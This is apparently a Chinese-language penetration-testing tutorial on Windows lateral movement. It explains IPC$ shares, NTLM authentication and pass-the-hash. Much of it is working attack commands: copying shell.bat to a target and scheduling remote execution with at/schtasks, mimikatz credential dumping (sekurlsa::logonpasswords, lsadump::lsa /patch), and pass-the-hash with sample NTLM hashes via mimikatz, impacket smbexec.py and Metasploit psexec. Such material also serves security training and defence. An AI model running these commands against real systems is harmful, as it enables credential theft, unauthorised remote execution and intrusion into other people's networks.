IPC$详解
IPC( Internet Process Connection) 共享 “ 命名管道 ” 的资源 , 是为了实现进程间通信而开放的命名管道。 IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用
通过 ipc$ ,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件 , 进行上传、下载 操作 还可以在日标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息
其默认使用端口为139、445
利用条件:
1.开启139、445端口.
2.管理员开启默认共享,可以用net share 查看
详细命令:
建立ipc连接:net use \\10.1.1.135\$ipc
删除ipc连接:net use \\10.1.1.135\$ipc /del
遍历c盘下windows目录: dir \\10.1.1.135\c$\Windows 或者:dir \\10.1.1.135\admin$
复制本地文件到目标机器下users目录: copy shell.bat \\10.1.1.135\c$\Users
查看任务:tasklist /S \\10.1.1.135windows2008及以下:
添加一项ID为777的任务在4:13执行:
at \\10.1.1.132: 4:13 c:\artifact.exe added a new job with jobid=777
查看计划任务列表:
at \\10.1.1.132
删除 id 为 777 的计划任务,不加 id 删除所有计划任务:
at \\10.1.1.132 777 /deletewindows2008以上:
添加一项ID为test的任务在4:13执行:
schtasks /create /s 10.1.1.135 /tn test /sc once /st 04:13 /ru system /tr
"cmd.exe /c ipconfig > c:\1.txt" /f /u
立即执行该任务:
schtasks /run /s 10.1.1.135 /i /tn test
删除该任务:
schtasks /s 10.1.1.135 /delete /tn test /f
没有命令回显:
计划运行后
type \\10.1.1.135\c$\1.txt
Windows认证
windows本地认证:
路径: %SystemRoot%\system32\config\sam (c:\\windows\system32\config\sam)
当我们登录系统的时候 , 系统会自动地读取 SAM 文件中的 “ 密码 ” 与我们输入的 “ 密码 ” 进行比对,如果相 同,证明认证成功! 这个SAM 文件中保留了计算机本地所有用户的凭证信息,可以理解为是一个数据库。
NTLM Hash
NTLM HASH 是支持 Net NTLM 认证协议以及本地认证过程中的一个重要参与物,其长度为 32 位,
由数字和字母组成
Windows 本身不存储用户的明文密码,他会将用户的明文密码经过加密算法后存储在 SAM 数据库
中
当用户登录时,将用户输入的明文密码也加密成 NTLM HASH ,与 SAM 数据库中的 NTLM HASH 进
行对比, NTLM HASH 的前身是 LM HASH ,目前已经基本被淘汰(因为算法比较脆弱,但是目前老
版本操作系统还是存在,比如 XP , Server 03 )。
这个 NTLM 是一种网络认证协议,与 NTLM Hash 的关系就是: NTLM 网络认证协议是以 NTLM Hash
作为根本凭证进行认证的协议。也就是说, NTLM 与 NTLM Hash 相互对应。
LM Hash(已废弃)
在 NTLM 协议问世之前,它的前身就是 LM ( LAN Manager )协议。
LM 与 NTLM 协议的认证机制相同,但是加密算法不同。
目前大多数的 Windows 都采用 NTLM 协议认证, LM 协议已经基本淘汰了,服务器版从 Wndows
Sever2003 以后, Windows 操作系统的认证方式均为 NTLM Hash 。
Windows网络认证
NTLM协议
NTLM 是一种网络认证协议,它是基于挑战( Chalenge ) / 响应( Response )认证机制的一种认证模 式。这个协议只支持Windows 早期 SMB 协议在网络上传输明文口令。后来出现 LAN Manager
Challenge/Response 验证机制,简称 LM ,它是如此简单以至很容易就被破解,现在又有了 NTLM 以及 Kerberos。
NTLM V2协议
NTLM v1 与 NTLM v2 最显著的区别就是 Challenge 与加密算法不同,共同点就是加密的原料都是 NTLM Hash。
不同之处 :
Challage:NTLM v1 的 Challenge 有 8 位, NTLM v2 的 Challenge 为 16 位。
Net-NTLM Hash:NTLM v1 的主要加密算法是 DES , NTLM v2 的主要加密算法是 HMAC-MD5 。
Pass The Hash (哈希传递)
哈希传递是能够在不需要账户明文密码的情况下完成认证的一个技术。解决了我们渗透中获取不到明文密码、破解不了NTLM Hash而又 想扩大战果的问题
进行哈希传递的必要条件:
1.哈希传递需要被认证的主机能够访问到服务器
2.哈希传递需要被传递认证的用户名
3.哈希传递需要被传递认证用户的 NTLM Hash
常用工具
mimikatz(windows->windows)
cls-----------------------------清屏
exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称--启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::logonPasswords--获登陆用户信息及密码
kerberos::purge # 清除票据
kerberos::list # 查看票据
kerberos::ptc # 导入票据
kerberos::clist # 导入.bin文件
lsadump::lsa /patch #在DC上查询所有域用户的密码mimikatz.exe privilege::debug sekurlsa::logonpasswords > 1.txt exit -------一句话抓密码
常规流程:
mimikatz # a:: // 查看模块 以管理员或其他高权限启动 mimikatz
mimikatz # privilege::debug // 提升至 system 权限 显示 Privilege '20' OK 表示提权成功
mimikatz # sekurlsa:: // 查看指定模块下命令
mimikatz # sekurlsa::logonPasswords // 抓取密码及 hash
哈希传递:
hash 传递成功后 mimikatz 会帮你打开一个目标机 system 权限的 cmd 窗口
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:administrator /domain:WIN-1NUOMDF66RK
/ntlm:afffeba176210fad4628f0524bfe1942
安装 KB2871997 补丁主机 AES256 密钥哈希传递
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
mimikatz # sekurlsa::pth /user:administrator /domain:WIN-1NUOMDF66RK /aes256:抓到
的aes256值
impacket - smbexec.py(linux->windows)
smbexec.py
# 明文密码传递
smbexec.py administrator:123.com\@192.168.23.144
# NTLM hash 传递
smbexec.py administrator@192.168.23.144 -hashes
:afffeba176210fad4628f0524bfe1942
smbexec.py PEIXUN/Administrator@192.168.23.100 -hashes
:afffeba176210fad4628f0524bfe1942
msf-psexec
msfconsole
use /exploit/windows/smb/psexec
show options
可以看到已经默认设置完了,但是需要额外设置smbuser、smbpass、rhost
set rhost 10.1.1.128 #目标地址
set SMBUser Administrator #目标地址username
set smbpass bc527e95ccf12e45f4e80923367f85d:2f60d4a58005210ac1580a9aaa7d7e95 #通过mimikatz抓取到的目标地址的LM和NTLM